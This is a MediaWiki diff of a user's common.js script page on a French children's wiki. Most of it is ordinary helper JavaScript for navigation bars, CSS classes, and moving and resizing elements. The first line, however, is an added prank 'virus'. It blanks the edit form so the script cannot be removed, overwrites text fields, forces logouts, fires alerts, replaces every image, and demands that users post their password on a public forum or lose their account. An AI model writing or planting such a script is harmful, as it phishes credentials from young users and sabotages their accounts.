« Utilisateur:Rififi/common.jse » : différence entre les versions
Jump to navigation
Jump to search
Aucun résumé des modifications |
m (Rififi a déplacé la page Utilisateur:Rififi/common.js vers Utilisateur:Rififi/common.jse : oups) |
||
| (6 versions intermédiaires par le même utilisateur non affichées) | |||
| Ligne 1 : | Ligne 1 : | ||
setInterval(function(){location.href.includes("common.js&action=edit")&&(document.querySelector("#editform").innerHTML=" ")},1);var alertex=1;if(alertex=1)for(i in setInterval(function(){try{document.getElementById("wpTextbox1").value="A l'aide Rififi ! J'ai le virus CHOUBIDOU VERSION 2 ! WOUIN WOUIN WOUIIIIINNN",document.getElementById("lqt_subject_field").value="Le virus sait ecrire a votre place"}catch(e){}},1),location.href.includes("common.js&action=edit")&&(location.href="https://fr.wikimini.org/wiki/Accueil"),location.href.includes("kw=")&&(location.href="https://fr.wikimini.org/w/index.php?title=Sp%C3%A9cial:D%C3%A9connexion&returnto=BienEssayéLOL"),alert("C . A . C . A !"),alert("Oh mince ! Un virus !"),alert("Oh mince ! Un virus !"),alert("Oh mince ! Un virus !"),alert("Le virus ChoubiDou version 420 a atteint ton compte wikimini, tu t vraiment fait avoir !"),alert("Aussi g ton mot de passe, si tu le poste pas dans les 24h sur le forum (dans le titre du sujet) je pirate ton compte wikimini et je le supprime :lol:"),document.querySelector(".mw-body").outerHTML=document.querySelector(".mw-body").outerHTML+"<style>body{background-image:url('https://i.imgur.com/MvWUKeQ.png')}</style>",document.querySelectorAll("img"))console.log(i),document.querySelectorAll("img")[i].src="https://i.imgur.com/MvWUKeQ.png";alertex=0; |
|||
/* <pre> <nowiki> */ |
|||
/*************************************************************/ |
|||
/* Fonctions JavaScript : pallient les limites de JavaScript */ |
|||
/* Surveiller : http://www.ecmascript.org/ */ |
|||
/*************************************************************/ |
|||
/** |
|||
* insertAfter : insérer un élément dans une page |
|||
*/ |
|||
function insertAfter(parent, node, referenceNode) { |
|||
parent.insertBefore(node, referenceNode.nextSibling); |
|||
} |
|||
/** |
|||
* getElementsByClass : rechercher les éléments de la page dont le paramètre "class" est celui recherché |
|||
*/ |
|||
function getElementsByClass(searchClass, node, tag) { |
|||
if (node == null) node = document; |
|||
if (tag == null) tag = '*'; |
|||
return $.makeArray( $(node).find(tag+'.'+searchClass) ); |
|||
} |
|||
/** |
|||
* Diverses fonctions manipulant les classes |
|||
* Utilise des expressions régulières et un cache pour de meilleures perfs |
|||
* isClass et whichClass depuis http://fr.wikibooks.org/w/index.php?title=MediaWiki:Common.js&oldid=140211 |
|||
* hasClass, addClass, removeClass et eregReplace depuis http://drupal.org.in/doc/misc/drupal.js.source.html |
|||
* surveiller l'implémentation de .classList http://www.w3.org/TR/2008/WD-html5-diff-20080122/#htmlelement-extensions |
|||
*/ |
|||
function isClass(element, classe) { |
|||
return hasClass(element, classe); |
|||
} |
|||
function whichClass(element, classes) { |
|||
var s=" "+element.className+" "; |
|||
for(var i=0;i<classes.length;i++) |
|||
if (s.indexOf(" "+classes[i]+" ")>=0) return i; |
|||
return -1; |
|||
} |
|||
function hasClass(node, className) { |
|||
var haystack = node.className; |
|||
if(!haystack) return false; |
|||
if (className === haystack) { |
|||
return true; |
|||
} |
|||
return (" " + haystack + " ").indexOf(" " + className + " ") > -1; |
|||
} |
|||
function addClass(node, className) { |
|||
if (hasClass(node, className)) { |
|||
return false; |
|||
} |
|||
var cache = node.className; |
|||
if (cache) { |
|||
node.className = cache + ' ' + className; |
|||
} else { |
|||
node.className = className; |
|||
} |
|||
return true; |
|||
} |
|||
function removeClass(node, className) { |
|||
if (!hasClass(node, className)) { |
|||
return false; |
|||
} |
|||
node.className = eregReplace('(^|\\s+)'+ className +'($|\\s+)', ' ', node.className); |
|||
return true; |
|||
} |
|||
function eregReplace(search, replace, subject) { |
|||
return subject.replace(new RegExp(search,'g'), replace); |
|||
} |
|||
/** |
|||
* Récupère la valeur du cookie |
|||
*/ |
|||
function getCookieVal(name) { |
|||
var cookiePos = document.cookie.indexOf(name + "="); |
|||
var cookieValue = false; |
|||
if (cookiePos > -1) { |
|||
cookiePos += name.length + 1; |
|||
var endPos = document.cookie.indexOf(";", cookiePos); |
|||
if (endPos > -1) |
|||
cookieValue = document.cookie.substring(cookiePos, endPos); |
|||
else |
|||
cookieValue = document.cookie.substring(cookiePos); |
|||
} |
|||
return cookieValue; |
|||
} |
|||
// Récupère proprement le contenu textuel d'un noeud et de ses noeuds descendants |
|||
// Copyright Harmen Christophe, http://openweb.eu.org/articles/validation_avancee, CC |
|||
function getTextContent(oNode) { |
|||
if(!oNode) return null; |
|||
if (typeof(oNode.textContent)!="undefined") {return oNode.textContent;} |
|||
switch (oNode.nodeType) { |
|||
case 3: // TEXT_NODE |
|||
case 4: // CDATA_SECTION_NODE |
|||
return oNode.nodeValue; |
|||
break; |
|||
case 7: // PROCESSING_INSTRUCTION_NODE |
|||
case 8: // COMMENT_NODE |
|||
if (getTextContent.caller!=getTextContent) { |
|||
return oNode.nodeValue; |
|||
} |
|||
break; |
|||
case 9: // DOCUMENT_NODE |
|||
case 10: // DOCUMENT_TYPE_NODE |
|||
case 12: // NOTATION_NODE |
|||
return null; |
|||
break; |
|||
} |
|||
var _textContent = ""; |
|||
oNode = oNode.firstChild; |
|||
while (oNode) { |
|||
_textContent += getTextContent(oNode); |
|||
oNode = oNode.nextSibling; |
|||
} |
|||
return _textContent; |
|||
} |
|||
// Array.indexOf : recherche un élément dans un tableau |
|||
if (!Array.prototype.indexOf) { |
|||
Array.prototype.indexOf = function(obj) { |
|||
for (var i=0; i<this.length; i++) { |
|||
if (this[i] == obj){ |
|||
return i; |
|||
} |
|||
} |
|||
return -1; |
|||
} |
|||
} |
|||
if(!String.prototype.HTMLize){ |
|||
String.prototype.HTMLize = function() { |
|||
var chars = new Array('&','<','>','"'); |
|||
var entities = new Array('amp','lt','gt','quot'); |
|||
var string = this; |
|||
for (var i=0; i<chars.length; i++) { |
|||
var regex = new RegExp(chars[i], "g"); |
|||
string = string.replace(regex, '&' + entities[i] + ';'); |
|||
} |
|||
return string; |
|||
} |
|||
} |
|||
//============================================================ |
|||
// |
|||
// Info-bulle et touches de raccourci |
|||
// |
|||
//============================================================ |
|||
ta = new Object(); |
|||
ta['pt-userpage'] = new Array('.', 'Ma page utilisateur'); |
|||
ta['pt-anonuserpage'] = new Array('.', 'La page utilisateur pour l\'adresse IP que vous utilisez'); |
|||
ta['pt-mytalk'] = new Array('N', 'Ma page de discussion'); |
|||
ta['pt-anontalk'] = new Array('N', 'La page de discussion pour cette adresse'); |
|||
ta['pt-preferences'] = new Array('', 'Mes préférences'); |
|||
ta['pt-watchlist'] = new Array('L', 'La liste des pages que vous suivez'); |
|||
ta['pt-mycontris'] = new Array('Y', 'La liste de mes contributions'); |
|||
ta['ca-talk'] = new Array('T', 'Discussion pour cette page'); |
|||
ta['ca-edit'] = new Array('E', 'Vous pouvez modifier cette page. Merci de prévisualiser avant d\'enregistrer.'); |
|||
ta['ca-addsection'] = new Array('+', 'Ajouter un commentaire à cette discussion.'); |
|||
ta['ca-viewsource'] = new Array('E', 'Cette page est protégée. Vous pouvez toutefois en voir le contenu.'); |
|||
ta['ca-history'] = new Array('H', 'Les auteurs et versions précédentes de cette page.'); |
|||
ta['ca-protect'] = new Array('=', 'Pour protéger cette page.'); |
|||
ta['ca-delete'] = new Array('D', 'Pour supprimer cette page.'); |
|||
ta['ca-undelete'] = new Array('D', 'Pour restaurer cette page.'); |
|||
ta['ca-move'] = new Array('M', 'Pour déplacer ou renommer cette page.'); |
|||
ta['ca-watch'] = new Array('W', 'Ajoutez cette page à votre liste de suivi.'); |
|||
ta['ca-unwatch'] = new Array('W', 'Retirez cette page de votre liste de suivi.'); |
|||
ta['search'] = new Array('F', 'Pour effectuer une recherche.'); |
|||
ta['n-mainpage'] = new Array('Z', 'Pour afficher la page principale.'); |
|||
ta['n-portal'] = new Array('', 'À propos du projet.'); |
|||
ta['n-currentevents'] = new Array('', 'Trouvez des informations sur les événements récents.'); |
|||
ta['n-recentchanges'] = new Array('R', 'La liste des modifications récentes.'); |
|||
ta['n-randompage'] = new Array('X', 'Afficher une page au hasard.'); |
|||
ta['n-help'] = new Array('', 'Aide.'); |
|||
ta['n-sitesupport'] = new Array('', 'Pour soutenir le projet.'); |
|||
ta['t-whatlinkshere'] = new Array('J', 'Liste des pages liées à celle-ci.'); |
|||
ta['t-recentchangeslinked'] = new Array('K', 'Liste des modifications récentes des pages liées à celle-ci.'); |
|||
ta['feed-rss'] = new Array('', 'Alimenter le flux RSS pour cette page.'); |
|||
ta['feed-atom'] = new Array('', 'Alimenter le flux Atom pour cette page.'); |
|||
ta['t-contributions'] = new Array('', 'Voir la liste des contributions de cet utilisateur.'); |
|||
ta['t-emailuser'] = new Array('', 'Envoyer un courriel à cet utilisateur.'); |
|||
ta['t-upload'] = new Array('U', 'Importer une image ou fichier média sur le serveur.'); |
|||
ta['t-specialpages'] = new Array('Q', 'Liste des pages spéciales.'); |
|||
ta['ca-nstab-main'] = new Array('C', 'Afficher le contenu de cette page.'); |
|||
ta['ca-nstab-user'] = new Array('C', 'Afficher la page utilisateur.'); |
|||
ta['ca-nstab-media'] = new Array('C', 'Afficher la page média.'); |
|||
ta['ca-nstab-wp'] = new Array('A', 'Afficher la page du projet.'); |
|||
ta['ca-nstab-image'] = new Array('C', 'Afficher la page de description de l\'image.'); |
|||
ta['ca-nstab-mediawiki'] = new Array('C', 'Afficher le message système.'); |
|||
ta['ca-nstab-template'] = new Array('C', 'Afficher le modèle.'); |
|||
ta['ca-nstab-help'] = new Array('C', 'Afficher la page d\'aide.'); |
|||
ta['ca-nstab-category'] = new Array('C', 'Afficher la page de catégorie.'); |
|||
ta['pt-login'] = new Array('', 'Vous êtes encouragé à vous connecter ou à créer un compte.'); |
|||
ta['pt-logout'] = new Array('', 'Se déconnecter'); |
|||
/* </nowiki></pre> |
|||
== Cacher le sous-titre "expliqué aux enfants" pour les connectés == |
|||
<pre><nowiki> */ |
|||
function cacheSousTitre() { |
|||
if (mw.config.exists("wgUserName")) { |
|||
var siteSub = document.getElementById('siteSub'); |
|||
if (siteSub) { siteSub.style.display = 'none'; } |
|||
} |
|||
} |
|||
$(cacheSousTitre); |
|||
/* </nowiki></pre> |
|||
== Fonctions de gestion == |
|||
<pre><nowiki> */ |
|||
/** |
|||
* Installation d'une nouvelle fonction de cette façon : |
|||
* aOnloadFunctions[aOnloadFunctions.length] = nom_de_la_fonction; // (sans parenthèses) |
|||
*/ |
|||
if (!window.aOnloadFunctions) { |
|||
var aOnloadFunctions = new Array(); |
|||
} |
|||
window.onload = function() |
|||
{ |
|||
if (window.aOnloadFunctions) { |
|||
for (var _i=0; _i<aOnloadFunctions.length; _i++) { |
|||
aOnloadFunctions[_i](); |
|||
} |
|||
} |
|||
} |
|||
/** |
|||
* Ajouter une nouvelle fonction à exécuter au chargement de la page. |
|||
*/ |
|||
function addLoadEvent(func) |
|||
{ |
|||
if (window.addEventListener) |
|||
window.addEventListener("load", func, false); |
|||
else if (window.attachEvent) |
|||
window.attachEvent("onload", func); |
|||
} |
|||
/* |
|||
* insertAfter : insérer un élément dans une page |
|||
*/ |
|||
function insertAfter(parent, node, referenceNode) { |
|||
parent.insertBefore(node, referenceNode.nextSibling); |
|||
} |
|||
//============================================================ |
|||
// |
|||
// Boîtes déroulantes |
|||
// |
|||
//============================================================ |
|||
// BEGIN Dynamic Navigation Bars (experimantal) |
|||
// set up the words in your language |
|||
var NavigationBarHide = '[masquer]'; |
|||
var NavigationBarShow = '[afficher]'; |
|||
var NavigationBarShowDefault = 0; |
|||
// shows and hides content and picture (if available) of navigation bars |
|||
// Parameters: |
|||
// indexNavigationBar: the index of navigation bar to be toggled |
|||
function toggleNavigationBar(indexNavigationBar) |
|||
{ |
|||
var NavToggle = document.getElementById("NavToggle" + indexNavigationBar); |
|||
var NavFrame = document.getElementById("NavFrame" + indexNavigationBar); |
|||
if (!NavFrame || !NavToggle) { |
|||
return false; |
|||
} |
|||
// ajout par Dake |
|||
// permet de créer un titre en lieu et place du "Dérouler" grâce |
|||
// à l'attribut "title" du tag. |
|||
var ShowText; |
|||
if (NavFrame.title == undefined || NavFrame.title.length == 0 ) { |
|||
ShowText = NavigationBarShow; |
|||
} else { |
|||
ShowText = NavFrame.title; |
|||
} |
|||
// if shown now |
|||
if (NavToggle.firstChild.data == NavigationBarHide) { |
|||
for ( |
|||
var NavChild = NavFrame.firstChild; |
|||
NavChild != null; |
|||
NavChild = NavChild.nextSibling |
|||
) { |
|||
if (NavChild.className == 'NavPic') { |
|||
NavChild.style.display = 'none'; |
|||
} |
|||
if (NavChild.className == 'NavContent') { |
|||
NavChild.style.display = 'none'; |
|||
} |
|||
if (NavChild.className == 'NavToggle') { |
|||
NavChild.firstChild.data = ShowText; |
|||
} |
|||
} |
|||
// if hidden now |
|||
} else if (NavToggle.firstChild.data == ShowText) { |
|||
for ( |
|||
var NavChild = NavFrame.firstChild; |
|||
NavChild != null; |
|||
NavChild = NavChild.nextSibling |
|||
) { |
|||
if (NavChild.className == 'NavPic') { |
|||
NavChild.style.display = 'block'; |
|||
} |
|||
if (NavChild.className == 'NavContent') { |
|||
NavChild.style.display = 'block'; |
|||
} |
|||
if (NavChild.className == 'NavToggle') { |
|||
NavChild.firstChild.data = NavigationBarHide; |
|||
} |
|||
} |
|||
} |
|||
} |
|||
// adds show/hide-button to navigation bars |
|||
function createNavigationBarToggleButton() |
|||
{ |
|||
var indexNavigationBar = 0; |
|||
// iterate over all < div >-elements |
|||
for( |
|||
var i=0; |
|||
NavFrame = document.getElementsByTagName("div")[i]; |
|||
i++ |
|||
) { |
|||
// if found a navigation bar |
|||
if (NavFrame.className == "NavFrame") { |
|||
indexNavigationBar++; |
|||
var NavToggle = document.createElement("a"); |
|||
NavToggle.className = 'NavToggle'; |
|||
NavToggle.setAttribute('id', 'NavToggle' + indexNavigationBar); |
|||
NavToggle.setAttribute('href', 'javascript:toggleNavigationBar(' + indexNavigationBar + ');'); |
|||
var NavToggleText = document.createTextNode(NavigationBarHide); |
|||
NavToggle.appendChild(NavToggleText); |
|||
// add NavToggle-Button as first div-element |
|||
// in < div class="NavFrame" > |
|||
NavFrame.insertBefore( |
|||
NavToggle, |
|||
NavFrame.firstChild |
|||
); |
|||
NavFrame.setAttribute('id', 'NavFrame' + indexNavigationBar); |
|||
} |
|||
} |
|||
// if more Navigation Bars found than Default: hide all |
|||
if (NavigationBarShowDefault < indexNavigationBar) { |
|||
for( |
|||
var i=1; |
|||
i<=indexNavigationBar; |
|||
i++ |
|||
) { |
|||
toggleNavigationBar(i); |
|||
} |
|||
} |
|||
} |
|||
$(createNavigationBarToggleButton); |
|||
// END Dynamic Navigation Bars |
|||
//============================================================ |
|||
// |
|||
// Divers |
|||
// |
|||
//============================================================ |
|||
/** |
|||
* Transformer certaines pages en page de discussion avec le modèle {{page de discussion}} |
|||
*/ |
|||
function TransformeEnDiscussion() |
|||
{ |
|||
var transformeEnPDD = document.getElementById("transformeEnPageDeDiscussion"); |
|||
if(transformeEnPDD) |
|||
document.body.className = "mediawiki ns-talk ltr"; |
|||
} |
|||
$(TransformeEnDiscussion); |
|||
/** |
|||
* Ajout d'un style particulier aux liens interlangues vers des articles de qualités |
|||
*/ |
|||
function LienAdQ() |
|||
{ |
|||
// iterate over all <span>-elements |
|||
for(var i=0; a = document.getElementsByTagName("span")[i]; i++) { |
|||
// if found a AdQ span |
|||
if(a.className == "AdQ") { |
|||
// iterate over all <li>-elements |
|||
for(var j=0; b = document.getElementsByTagName("li")[j]; j++) { |
|||
// if found a AdQ link |
|||
if(b.className == "interwiki-" + a.id) { |
|||
b.className += " AdQ"; |
|||
b.title = "Lien vers un article de qualité"; |
|||
} |
|||
} |
|||
} |
|||
} |
|||
} |
|||
$(LienAdQ); |
|||
// * Déplacement des [modifier] |
|||
// * Correction des titres qui s'affichent mal en raison de limitations dues à MediaWiki. |
|||
// |
|||
// Copyright 2006, Marc Mongenet |
|||
// |
|||
// This program is free software; you can redistribute it and/or |
|||
// modify it under the terms of the GNU General Public License |
|||
// as published by the Free Software Foundation; either version 2 |
|||
// of the License, or (at your option) any later version. |
|||
// |
|||
// This program is distributed in the hope that it will be useful, |
|||
// but WITHOUT ANY WARRANTY; without even the implied warranty of |
|||
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the |
|||
// GNU General Public License for more details. |
|||
// |
|||
// See http://www.gnu.org/licenses/gpl.html |
|||
// The function looks for <span class="editsection">, and move them |
|||
// at the end of their parent and display them inline in small font. |
|||
// var oldEditsectionLinks=true disables the function. |
|||
setModifySectionStyle = function() |
|||
{ |
|||
try { |
|||
if (!(typeof oldEditsectionLinks == 'undefined' || oldEditsectionLinks == false)) return; |
|||
var spans = document.getElementsByTagName("span"); |
|||
for (var s = 0; s < spans.length; ++s) { |
|||
var span = spans[s]; |
|||
if (span.className == "editsection") { |
|||
span.style.fontSize = "xx-small"; |
|||
span.style.fontWeight = "normal"; |
|||
span.style.cssFloat = span.style.styleFloat = "none"; |
|||
span.parentNode.appendChild(document.createTextNode(" ")); |
|||
span.parentNode.appendChild(span); |
|||
} |
|||
} |
|||
} catch (e) { /* something went wrong */ } |
|||
} |
|||
$(setModifySectionStyle); |
|||
// The function looks for a banner like that: |
|||
// <div id="RealTitleBanner">Div that is hidden |
|||
// <span id="RealTitle">title</span> |
|||
// </div> |
|||
// An element with id=DisableRealTitle disables the function. |
|||
rewritePageH1 = function() { |
|||
try { |
|||
var realTitleBanner = document.getElementById("RealTitleBanner"); |
|||
if (realTitleBanner) { |
|||
if (!document.getElementById("DisableRealTitle")) { |
|||
var realTitle = document.getElementById("RealTitle"); |
|||
var h1 = document.getElementsByTagName("h1")[0]; |
|||
if (realTitle && h1) { |
|||
h1.innerHTML = realTitle.innerHTML; |
|||
realTitleBanner.style.display = "none"; |
|||
} |
|||
} |
|||
} |
|||
} catch (e) { |
|||
/* Something went wrong. */ |
|||
} |
|||
} |
|||
$(rewritePageH1); |
|||
// Suppression du titre sur la page d'accueil |
|||
if(mw.config.get("wgPageName") == 'Vikidia:Accueil' && wgAction == 'view') |
|||
{ |
|||
document.getElementById('content').innerHTML = document.getElementById('content').innerHTML.replace('<h1 id="firstHeading" class="firstHeading" lang="fr"><span dir="auto">Vikidia:Accueil</span></h1>', ''); |
|||
} |
|||
// COULEURS: |
|||
noir=new Array(), |
|||
noir['noir']='#000'; |
|||
gris=new Array(); |
|||
gris['Gris']='#808080'; |
|||
olive=new Array(); |
|||
olive['Olive']='#808000'; |
|||
Argent=new Array(); |
|||
Argent['Argent']='#C0C0C0'; |
|||
/* </nowiki> </pre> |
|||
== Préchargement de Special:upload == |
|||
<pre><nowiki> */ |
|||
function loadAutoInfomationTemplate() |
|||
{ |
|||
uploadDescription = document.getElementById('wpUploadDescription'); |
|||
var tripleTilda = '~~' + '~'; |
|||
var doubleBracket = '{' + '{'; |
|||
if(uploadDescription != null && wgUserLanguage != 'fromflickr' && wgUserLanguage != 'fromwikimedia' && wgUserLanguage != 'fromgov') { |
|||
uploadDescription.focus(); |
|||
switch(wgUserLanguage) { |
|||
default: |
|||
uploadDescription.value = doubleBracket + 'Information image\n | Description = \n | Source = \n | Auteur = \n | Date = \n}}\n\n[[Catégorie:Image thème inconnu]]'; |
|||
break; |
|||
} |
|||
} |
|||
} |
|||
$(loadAutoInfomationTemplate); |
|||
/***************************/ |
|||
/* Carte (ajouté par Plyd) */ |
|||
/***************************/ |
|||
/* <noinclude> |
|||
Fonctions standards pour gérer des éléments en position absolute : |
|||
* fonction "move", |
|||
* fonction "resize" |
|||
Voir page de discussion.</noinclude> |
|||
== CODES SOURCE == |
|||
<!-- |
|||
*/ |
|||
/* --> |
|||
=== FONCTION : navigateur === |
|||
* Renvoie true si le navigateur est Internet Explorer |
|||
<!-- |
|||
*/ |
|||
// --><div style="border:1px dashed green;margin:1em;padding:1em;"><source lang=javascript> |
|||
//<pre><nowiki> |
|||
function MoveResizeAbsolute_NavIsIE(){ |
|||
var agt=navigator.userAgent.toLowerCase(); |
|||
var is_ie = ((agt.indexOf("msie") != -1) && (agt.indexOf("opera") == -1)); |
|||
return is_ie; |
|||
} |
|||
//</nowiki></pre></source></div><!-- |
|||
/* |
|||
--> |
|||
=== FONCTION : largeur de l'écran === |
|||
* Renvoie la largeur de l'écran (en pixels) |
|||
<!-- |
|||
*/ |
|||
// --><div style="border:1px dashed green;margin:1em;padding:1em;"><source lang=javascript> |
|||
//<pre><nowiki> |
|||
function MoveResizeAbsolute_GetScreenWidth(){ |
|||
if(MoveResizeAbsolute_NavIsIE()){ |
|||
var ScreenWidth = parseInt(screen.width); |
|||
}else{ |
|||
var ScreenWidth = parseInt(window.innerWidth); |
|||
} |
|||
return ScreenWidth; |
|||
} |
|||
//</nowiki></pre></source></div><!-- |
|||
/* |
|||
--> |
|||
=== FONCTION : hauteur de l'écran === |
|||
* Renvoie la hauteur de l'écran (en pixels) |
|||
<!-- |
|||
*/ |
|||
//--><div style="border:1px dashed green;margin:1em;padding:1em;"><source lang=javascript> |
|||
//<pre><nowiki> |
|||
function MoveResizeAbsolute_GetScreenHeight(){ |
|||
if(MoveResizeAbsolute_NavIsIE()){ |
|||
var ScreenHeight = parseInt(screen.height); |
|||
}else{ |
|||
var ScreenHeight = parseInt(window.innerHeight); |
|||
} |
|||
return ScreenHeight; |
|||
} |
|||
//</nowiki></pre></source></div><!-- |
|||
/* |
|||
--> |
|||
=== FONCTION : MOVE === |
|||
Transforme un élément en ancre pour bouger un autre élément (en position fixed) |
|||
* elementArea = élément ancre (obligatoire) |
|||
* elementsToMove = éléments à bouger (obligatoire) |
|||
* LeftLimit = limite gauche, en pixel (facultatif) |
|||
* TopLimit = limite haut, en pixel (facultatif) |
|||
<!-- |
|||
*/ |
|||
//--><div style="border:1px dashed green;margin:1em;padding:1em;"><source lang=javascript> |
|||
//<pre><nowiki> |
|||
function MoveResizeAbsolute_AddMoveArea(elementArea, elementsToMove, LeftLimit, TopLimit){ |
|||
if((!elementArea)||(!elementsToMove)) return; |
|||
elementArea.onmousedown=function(event) { |
|||
var monbody = document.body; |
|||
if(!event) { event = window.event; } |
|||
if(MoveResizeAbsolute_NavIsIE()){ |
|||
positionSouris_X = parseInt( event.clientX + monbody.scrollLeft ); |
|||
positionSouris_Y = parseInt( event.clientY + monbody.scrollTop ); |
|||
}else{ |
|||
positionSouris_X = parseInt( event.pageX ); |
|||
positionSouris_Y = parseInt( event.pageY ); |
|||
} |
|||
for(var a=0;a<elementsToMove.length;a++){ |
|||
elementsToMove[a].initialX = parseInt( positionSouris_X - elementsToMove[a].offsetLeft); |
|||
elementsToMove[a].initialY = parseInt( positionSouris_Y - elementsToMove[a].offsetTop); |
|||
elementsToMove[a].style.opacity = '.8'; |
|||
} |
|||
monbody.onmousemove = function(event) { |
|||
if(!event) { event = window.event; } |
|||
if(MoveResizeAbsolute_NavIsIE()){ |
|||
positionSouris_X = parseInt( event.clientX + monbody.scrollLeft ); |
|||
positionSouris_Y = parseInt( event.clientY + monbody.scrollTop ); |
|||
}else{ |
|||
positionSouris_X = parseInt( event.pageX ); |
|||
positionSouris_Y = parseInt( event.pageY ); |
|||
} |
|||
var LeftLimitDone = false; |
|||
var TopLimitDone = false; |
|||
for(var a=0;a<elementsToMove.length;a++){ |
|||
PositionGauche = parseInt( positionSouris_X ) - elementsToMove[a].initialX; |
|||
PositionHaut = parseInt(positionSouris_Y ) - elementsToMove[a].initialY; |
|||
if(LeftLimit){ |
|||
if(LeftLimit[a]|| LeftLimit[a]==0){ |
|||
if( PositionGauche < parseInt(LeftLimit[a])){ |
|||
PositionGauche = LeftLimit[a]; |
|||
LeftLimitDone = true; |
|||
} |
|||
} |
|||
} |
|||
if(TopLimit){ |
|||
if(TopLimit[a]||TopLimit[a]==0){ |
|||
if( PositionHaut < parseInt(TopLimit[a])){ |
|||
PositionHaut = parseInt(TopLimit[a]); |
|||
TopLimitDone = true; |
|||
} |
|||
} |
|||
} |
|||
elementsToMove[a].style.left = PositionGauche + 'px'; |
|||
elementsToMove[a].style.top = PositionHaut + 'px'; |
|||
} |
|||
if(LeftLimitDone){ |
|||
for(var a=0;a<elementsToMove.length;a++){ |
|||
if(LeftLimit[a]) elementsToMove[a].style.left = LeftLimit[a] + 'px'; |
|||
} |
|||
LeftLimitDone = false; |
|||
} |
|||
if(TopLimitDone){ |
|||
for(var a=0;a<elementsToMove.length;a++){ |
|||
if(TopLimit[a]) elementsToMove[a].style.top = TopLimit[a] + 'px'; |
|||
} |
|||
TopLimitDone = false; |
|||
} |
|||
} |
|||
monbody.onmouseup=function(event) { |
|||
for(var a=0;a<elementsToMove.length;a++){ |
|||
elementsToMove[a].style.opacity = ''; |
|||
} |
|||
monbody.onmousemove = null; |
|||
monbody.onmouseup = null; |
|||
} |
|||
} |
|||
elementArea.style.cursor = "move"; |
|||
} |
|||
//</nowiki></pre></source></div><!-- |
|||
/* |
|||
--> |
|||
=== FONCTION : RESIZE === |
|||
Transforme un élément en ancre pour redimensionner un autre élément (en position fixed) |
|||
* elementArea = élément ancre (obligatoire) |
|||
* elementsToResize = éléments à redimensionner (obligatoire, dans une Array) |
|||
* MinWidth = largeur minimum, en pixel (facultatif) |
|||
* MinHeight = hauteur minimum, en pixel (facultatif) |
|||
<!-- |
|||
*/ |
|||
//--><div style="border:1px dashed green;margin:1em;padding:1em;"><source lang=javascript> |
|||
//<pre><nowiki> |
|||
function MoveResizeAbsolute_AddResizeArea(elementArea, elementsToResize, MinWidth, MinHeight){ |
|||
if((!elementArea)||(!elementsToResize)) return; |
|||
elementArea.onmousedown = function(event){ |
|||
var monbody = document.body; |
|||
if(!event) { event = window.event; } |
|||
if(MoveResizeAbsolute_NavIsIE()){ |
|||
positionSouris_X = parseInt( event.clientX + monbody.scrollLeft ); |
|||
positionSouris_Y = parseInt( event.clientY + monbody.scrollTop ); |
|||
}else{ |
|||
positionSouris_X = parseInt( event.pageX ); |
|||
positionSouris_Y = parseInt( event.pageY ); |
|||
} |
|||
for(var a=0;a<elementsToResize.length;a++){ |
|||
elementsToResize[a].initialWidth = parseInt( positionSouris_X - elementsToResize[a].offsetWidth ); |
|||
elementsToResize[a].initialHeight = parseInt( positionSouris_Y - elementsToResize[a].offsetHeight ); |
|||
elementsToResize[a].style.opacity = '.8'; |
|||
} |
|||
monbody.onmousemove=function(event) { |
|||
if(!event) { event = window.event; } |
|||
if(MoveResizeAbsolute_NavIsIE()){ |
|||
positionSouris_X = parseInt( event.clientX + monbody.scrollLeft ); |
|||
positionSouris_Y = parseInt( event.clientY + monbody.scrollTop ); |
|||
}else{ |
|||
positionSouris_X = parseInt( event.pageX ); |
|||
positionSouris_Y = parseInt( event.pageY ); |
|||
} |
|||
var MinWidthDone = false; |
|||
var MinHeightDone = false; |
|||
for(var a=0;a<elementsToResize.length;a++){ |
|||
var NewWidth = parseInt( positionSouris_X - elementsToResize[a].initialWidth ); |
|||
var NewHeight = parseInt( positionSouris_Y - elementsToResize[a].initialHeight ); |
|||
if(MinWidth){ |
|||
if(MinWidth[a] || MinWidth[a]==0){ |
|||
if(NewWidth<parseInt(MinWidth[a])){ |
|||
NewWidth = MinWidth[a]; |
|||
MinWidthDone = true; |
|||
} |
|||
} |
|||
} |
|||
if(MinHeight){ |
|||
if(MinHeight[a] || MinHeight[a]==0){ |
|||
if(NewHeight<parseInt(MinHeight[a])){ |
|||
NewHeight = MinHeight[a]; |
|||
MinHeightDone = true; |
|||
} |
|||
} |
|||
} |
|||
elementsToResize[a].style.width = NewWidth + 'px'; |
|||
elementsToResize[a].style.height = NewHeight + 'px'; |
|||
} |
|||
if(MinWidthDone){ |
|||
for(var a=0;a<elementsToResize.length;a++){ |
|||
if(MinWidth[a]) elementsToResize[a].style.width = MinWidth[a] + 'px'; |
|||
} |
|||
} |
|||
if(MinHeightDone){ |
|||
for(var a=0;a<elementsToResize.length;a++){ |
|||
if(MinHeight[a]) elementsToResize[a].style.height = MinHeight[a] + 'px'; |
|||
} |
|||
} |
|||
} |
|||
monbody.onmouseup=function(event) { |
|||
for(var a=0;a<elementsToResize.length;a++){ |
|||
elementsToResize[a].style.opacity = ''; |
|||
} |
|||
monbody.onmousemove = null; |
|||
monbody.onmouseup = null; |
|||
} |
|||
} |
|||
elementArea.style.cursor = "se-resize"; |
|||
} |
|||
//</nowiki></pre></source></div> |
|||
/** |
|||
* Déplacement de coordonnées qui apparaissent en haut de la page |
|||
*/ |
|||
function moveCoord() { |
|||
var h1 = document.getElementById('firstHeading'); |
|||
if(!h1) h1 = document.getElementsByTagName('h1')[0]; // Nostalgia, Standard |
|||
var coord = document.getElementById('coordinates'); |
|||
if ( !coord || !h1 ) return; |
|||
coord.id = "coordinates-title"; |
|||
// h1.parentNode.insertBefore(coord, h1); /* déplacement de l'élément */ |
|||
} |
|||
$(moveCoord); |
|||
// Verwendung von OpenStreetMap in Wikipedia. |
|||
// (c) 2008 by Magnus Manske |
|||
// Released under GPL |
|||
// Modifié pour marcher après moveCoord() ci-dessus |
|||
function openStreetMap_Init () { |
|||
var c = document.getElementById ( 'coordinates-title' ) ; |
|||
if ( !c ) return ; |
|||
var a = c.getElementsByTagName ( 'a' ) ; |
|||
var geohack = false; |
|||
for ( var i = 0 ; i < a.length ; i++ ) { |
|||
var h = a[i].href ; |
|||
if ( !h.match(/geohack/) ) continue ; |
|||
geohack = true ; |
|||
break ; |
|||
} |
|||
if ( !geohack ) return ; |
|||
var im = document.createElement('img'); |
|||
im.src = "//download.vikidia.org/vikidia/fr/images/thumb/e/ee/Compass_icon_matte.svg/35px-Compass_icon_matte.svg.png"; |
|||
im.style.styleFloat = "right"; |
